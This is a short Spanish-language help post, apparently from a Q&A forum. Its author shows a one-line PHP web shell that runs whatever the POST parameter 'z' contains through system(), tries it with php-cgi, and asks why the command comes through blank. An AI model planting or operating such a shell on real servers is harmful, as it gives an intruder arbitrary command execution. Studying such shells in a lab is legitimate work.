El contenido de mi archivo:
$ cat z-cmd.php
<?php system($_POST['z']); ?>
Lo que probé:
$ QUERY_STRING='z=touch plm' php-cgi z-cmd.php
X-Powered-By: PHP/5.6.36
Content-type: text/html; charset=UTF-8
<br />
<b>Warning</b>: system(): Cannot execute a blank command in <b>/home/jeremy/z-cmd.php</b> on line <b>3</b><br />
¿Cómo puedo ejecutar comandos con el parámetro POST de z?